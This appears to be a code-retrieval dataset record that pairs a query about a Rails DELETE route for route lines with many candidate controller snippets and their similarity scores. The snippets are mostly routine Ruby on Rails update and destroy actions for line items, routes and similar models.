lines.shift\n @storyline = Storyline.new(:line => lines.shift)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line, true)\n prev_line = @storyline\n @rest_ids += @storyline.id.to_s\n lines.each do |line|\n @storyline = Storyline.new(:line => line)\n @storyline.user = @current_user if @current_user\n @storyline.save\n @storyline.insert_between(prev_line, next_line)\n prev_line = @storyline\n end \n end\n end\n \n respond_to do |format|\n format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n format.json { head :no_content }\n format.js\n end\n # respond_to do |format|\n # if @storyline.update_attributes(params[:storyline])\n # format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @storyline.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @route = Route.find(params[:id])\n @tmp = @route.dup\n \n respond_to do |format|\n if @route.update_attributes(params[:route])\n \n if @tmp.fellow_id\n route = @tmp\n tmp_route = Route.find(@tmp.fellow_id)\n user = tmp_route.user\n UserMailer.deleted_route(user, route).deliver\n end\n \n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n env[\"HTTP_REFERER\"] += '#' + item.id.to_s\n format.html { redirect_to :back, notice: \"Aggiornato con successo.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @texi_route.update(texi_route_params)\n format.html { redirect_to @texi_route, notice: 'Texi route was successfully updated.' }\n format.json { render :show, status: :ok, location: @texi_route }\n else\n format.html { render :edit }\n format.json { render json: @texi_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_route(station, line)\n Neo4j::Transaction.run do\n rel = Neo4j::Relationship.create(:route, self, station)\n rel[:distance] = 1.0\n rel[:line] = line\n end\n\n self\n end",
"def update\n @service_line = ServiceLine.find(params[:id])\n\n respond_to do |format|\n if @service_line.update_attributes(params[:service_line])\n flash[:notice] = 'Service Line was successfully updated.'\n format.html { redirect_to(service_lines_url(:search => { :meta_sort => \"descend_by_created_at\" })) }\n format.xml { head :ok }\n else\n @user_organizational_units = determine_org_units_for_user\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @service_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n if @invoiceline.update_attributes(params[:invoiceline])\n format.html { redirect_to(@invoiceline, :notice => 'Invoiceline was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoiceline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @order_line.update(order_line_params)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n if @product_line.update_attributes(params[:product_line])\n format.html { redirect_to(@product_line, :notice => 'ProductLine was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @journal_line = JournalLine.find(params[:id])\n\n respond_to do |format|\n if @journal_line.update_attributes(params[:journal_line])\n flash[:notice] = 'JournalLine was successfully updated.'\n format.html { redirect_to(@journal_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @journal_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @estimate_line_item = EstimateLineItem.find(params[:id])\n\n respond_to do |format|\n if @estimate_line_item.update_attributes(params[:estimate_line_item])\n format.html { redirect_to(@estimate_line_item, :notice => 'Estimate line item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estimate_line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_station = LineStation.find(params[:id])\n\n respond_to do |format|\n if @line_station.update_attributes(params[:line_station])\n format.html { redirect_to @line_station, notice: 'Line station was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_destination.update(line_destination_params)\n format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_destination }\n else\n format.html { render :edit }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @time_line.update(time_line_params)\n format.html { redirect_to @time_line, notice: 'Time line was successfully updated.' }\n format.json { render :show, status: :ok, location: @time_line }\n else\n format.html { render :edit }\n format.json { render json: @time_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: \"Line item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line_item\n @line_item = LineItem.find(params[:id])\nend",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit } \n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @path = Path.find(params[:id])\n\n respond_to do |format|\n if @path.update_attributes(params[:path])\n format.html { redirect_to([@layer, @path], :notice => 'Path was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @path.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line.attributes = line_params\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { render :show, status: :ok, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :edit }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_items.update(line_item_params)\n format.html { redirect_to @line_items, notice: 'Line item was successfully updated.' }\n format.json { render json: :show, status: :ok, location: @line_item }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_items.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n\n respond_to do |format|\n if @invoice_adjustment_line.update_attributes(params[:invoice_adjustment_line])\n flash[:notice] = 'InvoiceAdjustmentLine was successfully updated.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n @line_item.price = @line_item.catalog_item.unit_price\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n flash[:notice] = 'LineItem was successfully updated.'\n format.html { redirect_to(@line_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def route_document_to_workflow(route_id, document_id, notes)\n params = { documentId: document_id }\n params[:notes] = notes if notes\n put(\"/routes/#{route_id}\", params, nil)\n end",
"def update\n @line_item = current_member.seller.line_items.find(params[:id])\n action = params[:aasm]\n \n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n unless action.blank?\n @line_item.send(action) if @line_item.respond_to?(action)\n end\n format.html { redirect_to line_item_url(@line_item) }\n format.xml { render :nothing => true }\n format.js #tracking info added in place\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors.to_xml } \n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_service_line.update(contract_service_line_params)\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service_line }\n else\n format.html { render :edit }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineas_despacho = LineasDespacho.find(params[:id])\n\n respond_to do |format|\n if @lineas_despacho.update_attributes(params[:lineas_despacho])\n format.html { redirect_to(@lineas_despacho, :notice => 'LineasDespacho was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lineas_despacho.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n Rails.logger.info('👻 Disraptor: Updating route.')\n\n route_id = params.require(:route_id)\n payload = params.require('disraptor/route')\n source_path = normalize_path(payload['sourcePath'])\n target_url = normalize_uri(payload['targetUrl'])\n request_method = normalize_request_method(payload['requestMethod'])\n\n if !@@allowed_methods.include?(request_method)\n error_message = \"Route request method was #{request_method} but expected one of these: #{@@allowed_methods.join(', ')}.\"\n Rails.logger.error('❌ Disraptor: Error: ' + error_message)\n\n return render json: { error: error_message }, status: 400\n end\n\n if source_path != '/' and source_path.end_with?('/')\n error_message = \"Route source path was #{source_path} but it must not end in a slash.\"\n Rails.logger.error('❌ Disraptor: Error: ' + error_message)\n\n return render json: { error: error_message }, status: 400\n end\n\n route = Disraptor::Route.edit(route_id, source_path, target_url, request_method)\n\n Rails.application.reload_routes!\n\n render json: { 'disraptor/route': route }\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to(@line_item, :notice => 'A bike was updated in your cart.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lineaedesal = Lineaedesal.find(params[:id])\n\n respond_to do |format|\n if @lineaedesal.update_attributes(params[:lineaedesal])\n format.html { redirect_to(@lineaedesal, :notice => 'Lineaedesal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lineaedesal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @lineas_asignado = LineasAsignado.find(params[:id])\n\n respond_to do |format|\n if @lineas_asignado.update_attributes(params[:lineas_asignado])\n format.html { redirect_to(@lineas_asignado, :notice => 'LineasAsignado was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lineas_asignado.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n @line_of_business = LineOfBusiness.find(params[:id])\n @line_of_business.save!\n\n respond_to do |format|\n if @line_of_business.update_attributes(params[:line_of_business])\n flash[:notice] = 'LineOfBusiness was successfully updated.'\n format.html { redirect_to(@line_of_business) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line_of_business.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def update\n @sample_line = SampleLine.find(params[:id])\n\n respond_to do |format|\n if @sample_line.update_attributes(params[:sample_line])\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end"
] |
[
"0.6523446",
"0.6482837",
"0.62196237",
"0.6185141",
"0.6171954",
"0.6167397",
"0.61073893",
"0.60962695",
"0.6029012",
"0.6027949",
"0.5994899",
"0.59879035",
"0.5985117",
"0.5948219",
"0.59443486",
"0.5871491",
"0.58647555",
"0.58647555",
"0.5829382",
"0.58127433",
"0.57970124",
"0.5790633",
"0.57759476",
"0.57691145",
"0.5766983",
"0.5762309",
"0.5762309",
"0.5762309",
"0.5762309",
"0.5762309",
"0.5741337",
"0.571456",
"0.5712464",
"0.56892",
"0.5684359",
"0.5684359",
"0.5684359",
"0.568208",
"0.5681783",
"0.567354",
"0.5660014",
"0.56464344",
"0.5645798",
"0.5632372",
"0.56184477",
"0.5606081",
"0.5597206",
"0.5558745",
"0.55538994",
"0.5549348",
"0.55448055",
"0.55386335",
"0.55340654",
"0.55253303",
"0.5520148",
"0.5506427",
"0.55023444",
"0.54994214",
"0.54961854",
"0.54961854",
"0.54961854",
"0.54847693",
"0.5483573",
"0.54816383",
"0.54816383",
"0.54808784",
"0.54722846",
"0.54711914",
"0.54711914",
"0.54711914",
"0.54711914",
"0.54711914",
"0.54711914",
"0.54711914",
"0.5470102",
"0.5470102",
"0.5464829",
"0.5452137",
"0.5439139",
"0.5439139",
"0.5439139",
"0.5431857",
"0.5430549",
"0.54298943",
"0.54262215",
"0.54154617",
"0.5412732",
"0.5403907",
"0.5398224",
"0.53962004",
"0.5391993",
"0.5391116",
"0.53868484",
"0.5384476",
"0.5374854",
"0.5372936",
"0.53655815",
"0.53649974",
"0.5361903",
"0.535972"
] |
0.7276072
|
0
|
DELETE /route_lines/1 DELETE /route_lines/1.xml
|
def destroy
@route_line = RouteLine.find(params[:id])
@route_line.destroy
respond_to do |format|
format.html { redirect_to(route_lines_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @linea = Linea.find(params[:id])\n @linea.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service_line = ServiceLine.find(params[:id])\n @service_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@line = Line.find(params[:id])\n #@line.destroy\n\n #respond_to do |format|\n #format.html { redirect_to(lines_url) }\n #format.xml { head :ok }\n #end\n @line.destroy\n redirect_to lines_path, :flash => { :success => \"Line deleted!\" }\n\n end",
"def destroy\r\n @lineitem = Lineitem.find(params[:id])\r\n @lineitem.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(lineitems_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to(routes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to(routes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flightline = Flightline.find(params[:id])\n @flightline.destroy\n\n respond_to do |format|\n format.html { redirect_to(flightlines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def destroy\n @tagline = Tagline.find(params[:id])\n @tagline.destroy\n\n respond_to do |format|\n format.html { redirect_to(taglines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route_point = RoutePoint.find(params[:id])\n @route_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_points_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully destroyed.' }\n end\n end",
"def destroy\n @completed_route = CompletedRoute.find(params[:id])\n @completed_route.destroy\n\n respond_to do |format|\n format.html { redirect_to(completed_routes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pump_line = PumpLine.find(params[:id])\n @pump_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(pump_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estimate_line_item = EstimateLineItem.find(params[:id])\n @estimate_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimate_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n @invoice_adjustment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_adjustment_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journal_line = JournalLine.find(params[:id])\n @journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @report_line = ReportLine.find(params[:id])\n @report_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n Line.transaction do\n @line.destroy!\n end\n respond_to do |format|\n format.html { redirect_to node_lines_url(@node), notice: 'Line was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @transport_line = TransportLine.find(params[:id])\n @transport_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(transport_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineas_despacho = LineasDespacho.find(params[:id])\n @lineas_despacho.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineas_despachos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lineaedesal = Lineaedesal.find(params[:id])\n @lineaedesal.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineaedesals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def delete\n DB.exec(\"DELETE FROM line WHERE id = #{self.id};\")\n end",
"def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end",
"def destroy\n @product_line = ProductLine.find(params[:id])\n @product_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_of_business = LineOfBusiness.find(params[:id])\n @line_of_business.destroy\n\n respond_to do |format|\n format.html { redirect_to(line_of_businesses_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route_rule = RouteRule.find(params[:id])\n @route_rule.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_rules_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manufacturer_line = ManufacturerLine.find(params[:id])\n @manufacturer_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(manufacturer_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @route = Route.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contact_line = ContactLine.find(params[:id])\n flash[:notice] = \"#{@contact_line.show_label} removed\"\n @contact_line.destroy\n respond_to do |format|\n format.html { render :layout => false }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
